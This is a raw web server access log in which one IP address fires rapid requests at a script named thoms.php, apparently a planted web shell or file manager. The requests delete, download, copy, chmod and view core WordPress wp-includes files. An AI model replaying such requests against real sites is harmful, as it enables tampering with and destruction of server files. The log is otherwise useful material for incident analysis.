45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:59 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21905 "https://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdeprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdeprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?dl=error-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=error-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdeprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=error-protection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?dl=shortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?chmod=certificates&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22247 "https://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?chmod=certificates&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?del=class-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-avif-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-http.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:00 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?del=class-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22261 "https://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?del=fonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=media-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=fonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=meta.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?chmod=theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?del=class-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22247 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:01 -0400] "GET /thoms.php?chmod=ms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22110 "https://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?del=class-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-image-editor-imagick.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?del=general-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?del=class-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?del=general-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?dl=media-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=media-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=media-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsitemaps&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:02 -0400] "GET /thoms.php?dl=class-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-curl.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:03 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=kses.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
